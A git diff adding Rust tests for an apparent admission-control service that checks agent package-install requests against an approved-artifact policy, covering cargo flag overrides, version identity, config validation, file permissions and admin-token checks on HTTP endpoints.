/dev/null +++ b/crates/agent-artifact-admission/tests/cargo_overwrite_authority_contract.rs @@ -0,0 +1,110 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_overwrite_and_tracking_overrides_require_separate_review_authority() { + // Cargo documents --force as permitting overwrite of existing crates/binaries + // and --no-track as disabling install metadata and concurrent-install protection. + // Neither side effect is represented by the approved artifact coordinate. + for unreviewed_mutation in [ + vec!["--force"], + vec!["--force=true"], + vec!["-f"], + vec!["-fq"], + vec!["--no-track"], + vec!["--no-track=true"], + ] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend(unreviewed_mutation.iter().map(|value| (*value).to_string())); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Cargo mutation authority {unreviewed_mutation:?} must fail closed" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "overwrite/tracking authority must use the stable artifact_not_approved reason: {unreviewed_mutation:?}" + ); + } +} + +#[test] +fn reviewed_cargo_install_without_mutation_override_remains_eligible() { + let policy = approved_cargo_policy(); + let intent = approved_cargo_intent(vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-overwrite-authority-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-overwrite-authority".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} diff --git a/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs new file mode 100644 index 00000000..f3174272 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_target_dir_escape_contract.rs @@ -0,0 +1,87 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const ARTIFACT_ARGUMENT: &str = "cwl-example@1.2.3"; + +#[test] +fn cargo_target_dir_cannot_escape_the_broker_selected_workspace() { + for target_dir_arguments in [ + vec!["--target-dir=/tmp/unreviewed-build-output"], + vec!["--target-dir", "/tmp/unreviewed-build-output"], + ] { + let policy = approved_cargo_policy(); + let mut argv = vec![ + "cargo".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--locked".to_string(), + ]; + argv.extend(target_dir_arguments.into_iter().map(str::to_string)); + let intent = approved_cargo_intent(argv); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "cargo --target-dir must not redirect build artifacts outside the broker-selected workspace" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "cargo --target-dir must produce the stable alternate_install_root reason" + ); + } +} + +fn approved_cargo_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-target-dir-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} + +fn approved_cargo_intent(argv: Vec) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-target-dir".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }], + } +} diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs new file mode 100644 index 00000000..0362c100 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -0,0 +1,122 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + +#[test] +fn cargo_version_selector_cannot_override_reviewed_artifact_version() { + for version_selector in ["--version=9.9.9", "--vers=9.9.9"] { + let artifact_argument = "cwl-example@1.2.3"; + let policy = approved_cargo_policy("1.2.3", artifact_argument); + let intent = approved_cargo_intent( + "1.2.3", + artifact_argument, + vec![ + "cargo".to_string(), + "install".to_string(), + artifact_argument.to_string(), + version_selector.to_string(), + "--locked".to_string(), + ], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Cargo version selector {version_selector} must not override reviewed artifact identity" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "unreviewed Cargo version selection must report artifact_not_approved" + ); + } +} + +#[test] +fn cargo_positional_package_version_must_match_reviewed_coordinate() { + let artifact_argument = "cwl-example@9.9.9"; + let policy = approved_cargo_policy("1.2.3", artifact_argument); + let intent = approved_cargo_intent( + "1.2.3", + artifact_argument, + vec![ + "cargo".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--locked".to_string(), + ], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Cargo crate@version syntax must remain semantically bound to the reviewed name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/argv disagreement must fail with artifact_not_approved" + ); +} + +fn approved_cargo_policy(version: &str, artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "cargo-version-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: version.to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_cargo_intent( + version: &str, + artifact_argument: &str, + argv: Vec, +) -> InstallIntent { + InstallIntent { + request_id: "req-cargo-version-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: version.to_string(), + registry_url: "https://crates.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} diff --git a/crates/agent-artifact-admission/tests/cli_contract.rs b/crates/agent-artifact-admission/tests/cli_contract.rs new file mode 100644 index 00000000..1c8b28a6 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cli_contract.rs @@ -0,0 +1,244 @@ +use std::fs; +use std::time::{SystemTime, UNIX_EPOCH}; + +#[cfg(unix)] +use std::os::unix::fs::PermissionsExt; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, CredentialFile, + load_admin_token, load_config, parse_cli_args, validate_service_config, +}; + +fn digest(byte: char) -> String { + std::iter::repeat_n(byte, 64).collect() +} + +fn valid_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-08-29.1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: digest('a'), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: digest('b'), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }], + } +} + +fn valid_config() -> AdmissionServiceConfig { + AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: valid_policy(), + } +} + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock must be after epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-config-{label}-{}-{nonce}.json", + std::process::id() + )) +} + +#[test] +fn strict_cli_requires_exactly_one_config_and_credentials_path() { + let args = vec![ + "--config".to_string(), + "/etc/wardnet/admission.json".to_string(), + "--credentials".to_string(), + "/run/secrets/admission.json".to_string(), + ]; + let parsed = parse_cli_args(&args).expect("valid CLI must parse"); + assert_eq!(parsed.config_path, "/etc/wardnet/admission.json"); + assert_eq!(parsed.credentials_path, "/run/secrets/admission.json"); + + for invalid in [ + vec!["--config", "a"], + vec!["--credentials", "b"], + vec!["--config", "a", "--config", "b", "--credentials", "c"], + vec!["--config", "a", "--credentials", "b", "--credentials", "c"], + vec!["--config", "a", "--credentials"], + vec!["--config", "a", "--credentials", "b", "extra"], + vec!["--config", "a", "--credentials", "b", "--unknown", "x"], + ] { + let invalid: Vec = invalid.into_iter().map(str::to_string).collect(); + assert!( + parse_cli_args(&invalid).is_err(), + "accepted invalid argv: {invalid:?}" + ); + } +} + +#[test] +fn service_config_rejects_unsafe_boundaries_and_policy_drift() { + let mut cases = Vec::new(); + + let mut config = valid_config(); + config.configuration_version = "2".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.bind_address = "0.0.0.0:8787".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.max_request_body_bytes = 0; + cases.push(config); + + let mut config = valid_config(); + config.max_request_body_bytes = 2 * 1024 * 1024; + cases.push(config); + + let mut config = valid_config(); + config.audit_log_path.clear(); + cases.push(config); + + let mut config = valid_config(); + config.policy.allowed_executables.push("npm".to_string()); + cases.push(config); + + let mut config = valid_config(); + config.policy.allowed_executables = vec!["bash".to_string()]; + cases.push(config); + + let mut config = valid_config(); + config + .policy + .approved_manifests + .push(config.policy.approved_manifests[0].clone()); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_manifests[0].sha256 = "ABC".to_string(); + cases.push(config); + + let mut config = valid_config(); + config + .policy + .approved_artifacts + .push(config.policy.approved_artifacts[0].clone()); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].version = "latest".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].registry_url = "http://registry.example".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0] + .artifact_argument + .clear(); + cases.push(config); + + for config in cases { + assert!( + validate_service_config(&config).is_err(), + "unsafe config validated: {config:?}" + ); + } + + assert!(validate_service_config(&valid_config()).is_ok()); +} + +#[test] +fn loaders_are_bounded_strict_and_do_not_accept_short_credentials() { + let config_path = temp_path("config"); + fs::write( + &config_path, + serde_json::to_vec(&valid_config()).expect("config must serialize"), + ) + .expect("config fixture must write"); + let loaded = load_config(&config_path).expect("valid config must load"); + assert_eq!(loaded, valid_config()); + + fs::write( + &config_path, + br#"{"configuration_version":"1","bind_address":"127.0.0.1:8787","max_request_body_bytes":1024,"audit_log_path":"audit.ndjson","policy":{"policy_id":"deny-all","policy_revision":"1","allowed_executables":[],"approved_manifests":[],"approved_artifacts":[]},"extra":true}"#, + ) + .expect("strict config fixture must write"); + assert!(load_config(&config_path).is_err()); + + let credential_path = temp_path("credentials"); + let credential = CredentialFile { + admin_token: "0123456789abcdef0123456789abcdef".to_string(), + }; + fs::write( + &credential_path, + serde_json::to_vec(&credential).expect("credential must serialize"), + ) + .expect("credential fixture must write"); + #[cfg(unix)] + fs::set_permissions(&credential_path, fs::Permissions::from_mode(0o600)) + .expect("credential fixture must be owner-only"); + assert_eq!( + load_admin_token(&credential_path).expect("valid credential must load"), + credential.admin_token + ); + + fs::write(&credential_path, br#"{"admin_token":"short"}"#) + .expect("short credential fixture must write"); + assert!(load_admin_token(&credential_path).is_err()); + + fs::write( + &credential_path, + serde_json::to_vec(&CredentialFile { + admin_token: "x".repeat(4097), + }) + .expect("oversized credential fixture must serialize"), + ) + .expect("oversized credential fixture must write"); + assert!(load_admin_token(&credential_path).is_err()); + + let _ = fs::remove_file(config_path); + let _ = fs::remove_file(credential_path); +} + +#[cfg(unix)] +#[test] +fn credential_loader_rejects_group_or_other_permissions() { + let credential_path = temp_path("credential-permissions"); + let credential = CredentialFile { + admin_token: "0123456789abcdef0123456789abcdef".to_string(), + }; + let encoded = serde_json::to_vec(&credential).expect("credential must serialize"); + fs::write(&credential_path, &encoded).expect("credential fixture must write"); + + for secure_mode in [0o600, 0o400] { + fs::set_permissions(&credential_path, fs::Permissions::from_mode(secure_mode)) + .expect("secure credential mode must apply"); + assert_eq!( + load_admin_token(&credential_path).expect("owner-only credential must load"), + credential.admin_token, + "mode {secure_mode:o}" + ); + } + + for unsafe_mode in [0o640, 0o604, 0o620, 0o602, 0o610, 0o601] { + fs::set_permissions(&credential_path, fs::Permissions::from_mode(unsafe_mode)) + .expect("unsafe credential mode must apply"); + assert!( + load_admin_token(&credential_path).is_err(), + "credential mode {unsafe_mode:o} exposed authority outside the owner boundary" + ); + } + + let _ = fs::remove_file(credential_path); +} diff --git a/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs new file mode 100644 index 00000000..86ab268f --- /dev/null +++ b/crates/agent-artifact-admission/tests/config_file_permissions_contract.rs @@ -0,0 +1,67 @@ +#![cfg(unix)] + +use std::fs; +use std::os::unix::fs::PermissionsExt; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ConfigError, load_config, +}; + +fn temp_path() -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock must be after epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-admission-policy-permissions-{}-{nonce}.json", + std::process::id() + )) +} + +fn valid_config() -> AdmissionServiceConfig { + AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: AdmissionPolicy { + policy_id: "deny-all".to_string(), + policy_revision: "config-permission-red".to_string(), + allowed_executables: Vec::new(), + approved_manifests: Vec::new(), + approved_artifacts: Vec::new(), + }, + } +} + +#[test] +fn configuration_loader_rejects_group_or_other_write_authority() { + let path = temp_path(); + let encoded = serde_json::to_vec(&valid_config()).expect("config must serialize"); + fs::write(&path, encoded).expect("config fixture must write"); + + for safe_mode in [0o600, 0o640, 0o644, 0o400] { + fs::set_permissions(&path, fs::Permissions::from_mode(safe_mode)) + .expect("safe configuration mode must apply"); + assert!( + load_config(&path).is_ok(), + "read-only group/other visibility must not be confused with policy mutation authority: {safe_mode:o}" + ); + } + + // This contract targets policy-integrity failure specifically. A generic I/O or + // JSON error would hide a regression in the permission boundary instead of + // proving that unintended write authority is what caused the rejection. + for unsafe_mode in [0o660, 0o606, 0o664, 0o646, 0o666] { + fs::set_permissions(&path, fs::Permissions::from_mode(unsafe_mode)) + .expect("unsafe configuration mode must apply"); + assert_eq!( + load_config(&path), + Err(ConfigError::InvalidConfiguration), + "configuration mode {unsafe_mode:o} grants group/other policy mutation authority" + ); + } + + let _ = fs::remove_file(path); +} diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs new file mode 100644 index 00000000..fb750c62 --- /dev/null +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -0,0 +1,77 @@ +//! Architectural fitness checks for the Agent Artifact Admission bounded context. +//! +//! These tests intentionally inspect module imports and module names. They are not +//! behavior tests; they protect the dependency direction that keeps the domain +//! vocabulary usable without Axum, Tokio, filesystem, or deployment concerns. + +const DOMAIN_SOURCES: &[(&str, &str)] = &[ + ("admission.rs", include_str!("../src/admission.rs")), + ( + "artifact_source_identity.rs", + include_str!("../src/artifact_source_identity.rs"), + ), + ( + "artifact_variant.rs", + include_str!("../src/artifact_variant.rs"), + ), + ("oci_transport.rs", include_str!("../src/oci_transport.rs")), + ("policy.rs", include_str!("../src/policy.rs")), +]; + +const FORBIDDEN_DOMAIN_DEPENDENCIES: &[&str] = &[ + "axum::", + "tokio::", + "std::fs", + "std::net", + "std::path", + "FileAuditSink", + "AdmissionServiceConfig", +]; + +#[test] +fn domain_modules_do_not_depend_on_delivery_or_infrastructure() { + for (path, source) in DOMAIN_SOURCES { + for forbidden in FORBIDDEN_DOMAIN_DEPENDENCIES { + assert!( + !source.contains(forbidden), + "{path} crosses the Agent Artifact Admission domain boundary via {forbidden}" + ); + } + } +} + +#[test] +fn bounded_context_does_not_gain_ambiguous_dumping_modules() { + let crate_root = include_str!("../src/lib.rs"); + for ambiguous in [ + "mod utils;", + "mod helpers;", + "mod common;", + "mod services;", + "mod shared;", + "mod misc;", + "mod legacy;", + "mod model;", + ] { + assert!( + !crate_root.contains(ambiguous), + "Agent Artifact Admission must express domain responsibility instead of adding `{ambiguous}`" + ); + } +} + +#[test] +fn domain_policy_remains_independent_of_http_and_audit_adapters() { + let policy = include_str!("../src/policy.rs"); + for adapter in [ + "crate::http", + "crate::config", + "FileAuditSink", + "MemoryAuditSink", + ] { + assert!( + !policy.contains(adapter), + "policy.rs must not depend on adapter concern `{adapter}`" + ); + } +} diff --git a/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs new file mode 100644 index 00000000..3eef8b62 --- /dev/null +++ b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs @@ -0,0 +1,107 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, + admission_decision, +}; + +fn npm_artifact_policy_allowing_cargo() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.2".to_string(); + policy.allowed_executables = vec!["npm".to_string(), "cargo".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "ripgrep".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Example".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "ripgrep@1.2.3".to_string(), + }]; + policy +} + +fn cargo_artifact_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.2".to_string(); + policy.allowed_executables = vec!["cargo".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "ripgrep".to_string(), + version: "14.1.1".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "Example".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "ripgrep@14.1.1".to_string(), + }]; + policy +} + +fn cargo_intent(ecosystem: &str, version: &str, registry_url: &str, digest: &str) -> InstallIntent { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + format!("ripgrep@{version}"), + "--locked".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = ecosystem.to_string(); + artifact.name = "ripgrep".to_string(); + artifact.version = version.to_string(); + artifact.registry_url = registry_url.to_string(); + artifact.owner = "Example".to_string(); + artifact.sha256 = digest.to_string(); + artifact.artifact_argument = format!("ripgrep@{version}"); + intent +} + +#[test] +fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { + let policy = npm_artifact_policy_allowing_cargo(); + let intent = cargo_intent( + "npm", + "1.2.3", + "https://registry.npmjs.org", + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "cross-ecosystem package-manager reuse must fail closed: {:?}", + decision.reason_codes + ); +} + +#[test] +fn cargo_identity_remains_allowed_through_cargo_install() { + let policy = cargo_artifact_policy(); + let intent = cargo_intent( + "cargo", + "14.1.1", + "https://crates.io", + "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} diff --git a/crates/agent-artifact-admission/tests/http_contract.rs b/crates/agent-artifact-admission/tests/http_contract.rs new file mode 100644 index 00000000..2a9566a7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -0,0 +1,315 @@ +use std::sync::Arc; + +use axum::{ + body::{Body, to_bytes}, + http::{HeaderValue, Request, StatusCode, header::CONTENT_TYPE}, +}; +use serde::de::DeserializeOwned; +use tower::ServiceExt; +use wardnet_agent_artifact_admission::{ + AdmissionDecision, AdmissionPolicy, AdmissionState, ApprovedArtifact, ApprovedManifest, + AuditError, AuditRecord, AuditSink, DecisionKind, InstallIntent, MemoryAuditSink, ReasonCode, + build_app, +}; + +const ADMIN_TOKEN: &str = "0123456789abcdef0123456789abcdef"; + +fn digest(byte: char) -> String { + std::iter::repeat_n(byte, 64).collect() +} + +fn approved_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-08-29.2".to_string(), + allowed_executables: vec!["cargo".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: digest('a'), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "Unowned".to_string(), + sha256: digest('c'), + artifact_argument: "cwl-example@1.2.3".to_string(), + }], + } +} + +fn approved_intent() -> InstallIntent { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "cwl-example@1.2.3".to_string(), + "--locked".to_string(), + ]; + intent.artifacts[0].ecosystem = "cargo".to_string(); + intent.artifacts[0].name = "cwl-example".to_string(); + intent.artifacts[0].registry_url = "https://crates.io".to_string(); + intent.artifacts[0].artifact_argument = "cwl-example@1.2.3".to_string(); + intent +} + +fn state( + policy: AdmissionPolicy, + sink: Arc, + max_request_body_bytes: usize, +) -> AdmissionState { + AdmissionState::new( + policy, + ADMIN_TOKEN.to_string(), + sink, + max_request_body_bytes, + ) +} + +fn admission_request(body: Vec, token: Option) -> Request { + let mut request = Request::builder() + .method("POST") + .uri("/v1/admissions") + .header(CONTENT_TYPE, "application/json") + .body(Body::from(body)) + .expect("request must build"); + if let Some(token) = token { + request.headers_mut().append("x-admin-token", token); + } + request +} + +fn policy_request(token: Option) -> Request { + let mut request = Request::builder() + .method("GET") + .uri("/v1/policy") + .body(Body::empty()) + .expect("request must build"); + if let Some(token) = token { + request.headers_mut().append("x-admin-token", token); + } + request +} + +async fn decode_json(response: axum::response::Response) -> T { + let bytes = to_bytes(response.into_body(), 1024 * 1024) + .await + .expect("response body must be readable"); + serde_json::from_slice(&bytes).expect("response body must be JSON") +} + +#[tokio::test] +async fn policy_endpoint_rejects_missing_duplicate_wrong_non_ascii_and_oversized_tokens() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink, 64 * 1024)); + + let mut cases = vec![ + policy_request(None), + policy_request(Some(HeaderValue::from_static( + "fedcba9876543210fedcba9876543210", + ))), + policy_request(Some(HeaderValue::from_static( + "0123456789abcdef0123456789abcdefx", + ))), + policy_request(Some(HeaderValue::from_static(""))), + policy_request(Some( + HeaderValue::from_str(&"x".repeat(4097)).expect("oversized test header must build"), + )), + ]; + + let non_ascii = vec![0x80; 32]; + cases.push(policy_request(Some( + HeaderValue::from_bytes(&non_ascii).expect("obs-text test header must build"), + ))); + + let mut duplicate = policy_request(Some(HeaderValue::from_static(ADMIN_TOKEN))); + duplicate + .headers_mut() + .append("x-admin-token", HeaderValue::from_static(ADMIN_TOKEN)); + cases.push(duplicate); + + for request in cases { + let response = app + .clone() + .oneshot(request) + .await + .expect("router must answer"); + assert_eq!(response.status(), StatusCode::UNAUTHORIZED); + } + + let response = app + .oneshot(policy_request(Some(HeaderValue::from_static(ADMIN_TOKEN)))) + .await + .expect("router must answer"); + assert_eq!(response.status(), StatusCode::OK); + let returned: AdmissionPolicy = decode_json(response).await; + assert_eq!(returned, approved_policy()); +} + +#[tokio::test] +async fn health_is_unauthenticated_and_exposes_only_policy_identity_and_counts() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink, 64 * 1024)); + let request = Request::builder() + .uri("/healthz") + .body(Body::empty()) + .expect("request must build"); + + let response = app.oneshot(request).await.expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let body: serde_json::Value = decode_json(response).await; + assert_eq!(body["status"], "ok"); + assert_eq!(body["policy_id"], "enterprise-default"); + assert_eq!(body["policy_revision"], "2026-08-29.2"); + assert_eq!(body["approved_manifest_count"], 1); + assert_eq!(body["approved_artifact_count"], 1); + assert!(body.get("admin_token").is_none()); +} + +#[tokio::test] +async fn candidate_allow_is_returned_only_after_audit_append() { + let sink = 